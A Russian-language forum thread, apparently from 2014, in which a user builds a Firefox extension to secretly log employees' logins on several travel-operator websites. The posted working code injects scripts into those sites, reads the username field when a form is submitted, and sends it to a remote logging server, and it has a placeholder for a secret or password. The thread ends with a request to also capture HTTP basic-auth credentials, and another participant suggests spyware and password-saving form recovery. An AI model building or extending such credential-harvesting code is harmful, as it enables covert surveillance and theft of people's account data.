Думаю этот проектик станет чем-то вроде "Hello world!" для меня в создании расширений для FF.

Зачем? Нужно проверить некоторых сотрудников не работают ли они на лево, с левых учеток. Килогеры посмотрел готовые для ФФ, рабочий только один оказался, но он не помогает когда чел не вводит, а вставляет логин из буфера.


https://developer.mozilla.org/en-US/Add-ons/SDK/Tutorials/Getting_started
успешно выполнил.

Сейчас вижу задачу так:
1. Получаем адресную строку активной вкладки.
2. Если адрес нас интересует, искать соответствующее поле на странице (поле для ввода логина)
3. По изменению (или submit) сохранять данные на диске
YYYY-MM-DD H:i:s -- site_address -- entered_login

Вопросы:
1. Как получить адресную строку активной вкладки (onFocus) ?
2. Как найти поле на странице на вкладке (element.getByID()) ?
3. Писать данные в файл можно стандартными средствами JS ?

1. Почитал инфу по вкладкам, получилось вот что:

Выделить код

Код:

var tabs = require("sdk/tabs");

function show(tab) {
    if (tab.url.indexOf("ya.ru") == -1) {
        console.log(tab.url + " is not ya.ru");
    }else{
        console.log(tab.url + " is ya.ru");
    }
}

tabs.on('pageshow', show);

Это можно заюзать для определения на каком мы сайте и нужно ли логировать.

Товарищи, как получить данные со страницу по определенному событию?
Пока не понял как это сделать...

Первое о чем я подумал - это прокси (и она уже имеется), но как она мне поможет с https?

Поставим один браузер, другое ставить запретим.
Надо учитывать уровень пользователя. Конечно, можно и с флешки загрузится и работать через свою прокси по защищенному ВПН. Но, это не мой случай, у меня пользователи попроще.

okkamas_knife
Я использую squid, пока не нашел как поймать логин. Ты, случаем не знаешь, кальмар это в принципе логирует?

okkamas_knife
http://www.eu.squid-cache.org/mail-archive/squid-users/200602/0024.html
тут сообщается, что максимум, что мы можем получить, это тело GET-запросов. Не подоходит в моем случае.

Может лучше покажешь пример по сабжу, где можно посмотреть как работать со страницей на вкладке?

В справочнике на MDN примеры для 29+
Странная политика. А как под текущие версии расширения то делать, ппц.

Как залезть на страницу нашел...

Разобрался. Сделал так, что данные улетают на удаленный сервер, где логируются.

Странная штука, не везде работает.

скрытый текст
main.js

Выделить код

Код:

var data = require("sdk/self").data;
var pageMod = require("sdk/page-mod");

pageMod.PageMod({
  include: "*.mouzenidis-travel.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("mouzenidis-travel.ru.js")]
});

pageMod.PageMod({
  include: "*.pegast.ru",
  contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                      data.url("pegast.ru.js")]
});

data/mouzenidis-travel.ru.js

Выделить код

Код:

$("form").submit(function(){
    alert($("#UserName").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"mouzenidis-travel.ru",
                login   :$("#UserName").val(),
                secret  :""   }
    })
});

data/pegast.ru.js

Выделить код

Код:

$("form").submit(function(){
    alert($("#username").val());
    $.ajax({
        type: "POST",
        url: "http://site.ru/writedata.php",
        data: { site    :"pegast.ru",
                login   :$("#username").val(),
                secret  :""   }
    })
});


Во всех случаях submit отрабатывает, о чем свидетельствует alert(). Но в случае с pegast.ru, данные не попадают на удаленный сервер.

thunderamur
Советую спросить у Infocatcher.
А я бы поставил шпионскую программу и не мучился бы. Потому что на месте того сотрудника я бы ходил налево через портабельный фокс, чтобы не оставлять следов в журнале и всё такое. Приватный режим — это не то, чем удобно пользоваться.

Infocatcher молчит :(
Шпионская программа умеет собирать данные с нужных страниц? Да ещё и покупать надо.
А здесь свой теплый ламповый самопал. Это интереснее, потом есть мысли сделать штуку поприкольнее, но там уже мессенджер для платной CRM, родной месенджер которой ущербен.

Два дня – это еще не молчит, это раз. У меня сейчас полно других дел, это два.

Если проблема исключительно в отправке данных (а сами данные получаются), то или какие-то проблемы с использованием в данном случае $.ajax() (к чему здесь вообще jQuery?), или дело в том, что скрипт выполняется на странице и выгружается вместе с ней до отправки данных.
Можно попробовать делать собственно отправку из другого места. Но я не пользуюсь Add-on SDK и ничего сказать не могу, разве что вот пример взаимодействия с родительским скриптом.

По самому сбору данных: сохранение паролей можно включить в Lazarus: Form Recovery.

Infocatcher
Спасибо, что включился в беседу :)
Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.

02-05-2014 20:13:39
Не оно?
https://developer.mozilla.org/en-US/Add-ons/SDK/Low-Level_APIs/content_symbiont

thunderamur пишет

Вот мне бы как раз узнать как работать не со страницы, а как бы в стороне, чтобы то, что есть на странице мне никак не могло помешать.

Там нужно посылать сообщения из content-скрипта в main.js:
https://developer.mozilla.org/en-US/Add … using_port
Для отправки данных, видимо, пользоваться вот этим:
https://developer.mozilla.org/en-US/Add … Is/net_xhr

Но я, повторюсь, с Add-on SDK не работал, исходники там обильные и мудреные, так что ничего кроме чтения документации посоветовать не могу.
Если без SDK, то на основе этого можно отслеживать "submit" (вместо "TabClose" как там) от всего окна браузера. А дальше обычный XMLHttpRequest(). Но если все-таки взлетит Electrolysis, подобное перестанет работать.

Infocatcher
Спасибо за инфу :)
Посмотрю все варианты. Все-таки склоняюсь к SDK, т.к. это наверное более основательный вариант (restartless и совместимость на будущее). Но ежели не осилю для этой задачи можно и сделать лишь бы сейчас работало.

Сейчас имею вот что:

Выделить код

Код:

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("GET", "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=", true);
            xmlhttp.onreadystatechange = function() {
                if (xmlhttp.readyState == 4) {
                    if(xmlhttp.status == 200) {
                        console.log(xmlhttp.responseText);
                    }
                }
            };
            xmlhttp.send(null);
            console.log("============== 2 - " + msg);
        });
    }
});

Консоль:

Выделить код

Код:

console.log: my-addon: ============== 1 - 123
console.error: my-addon: 
  Message: ReferenceError: XMLHttpRequest is not defined

Т.е. код отрабатывает до момента отправки и тут встает из-за того, что не знает что такое XMLHttpRequest.
Как же из браузера отправить данные на сервер?

Крутяк, получилось!

Выделить код

Код:

var Request = require("sdk/request").Request;

pageMod.PageMod({
    include: "*.natalie-tours.ru",
    contentScriptFile: [data.url("jquery-2.1.0.min.js"),
                        data.url("natalie-tours.ru.js")],
    onAttach: function(worker) {
        worker.port.on('mylogin', function(msg) {
            console.log("============== 1 - " + msg);
            
            Request({
                url: "http://site.ru/writedata.php?site=natalie-tours.ru&login=" + msg + "&secret=",
                onComplete: function (response) {
                    console.log("Data sent successfully!");
                }
            }).get();
            
            console.log("============== 2 - " + msg);
        });
    }
});
Выделить код

Код:

console.log: my-addon: ============== 1 - 32434
console.log: my-addon: ============== 2 - 32434
console.log: my-addon: Data sent successfully!

Теперь ещё один вопрос
Есть сайт с авторизацией через .htaccess, как мне получить логин с окна авторизации?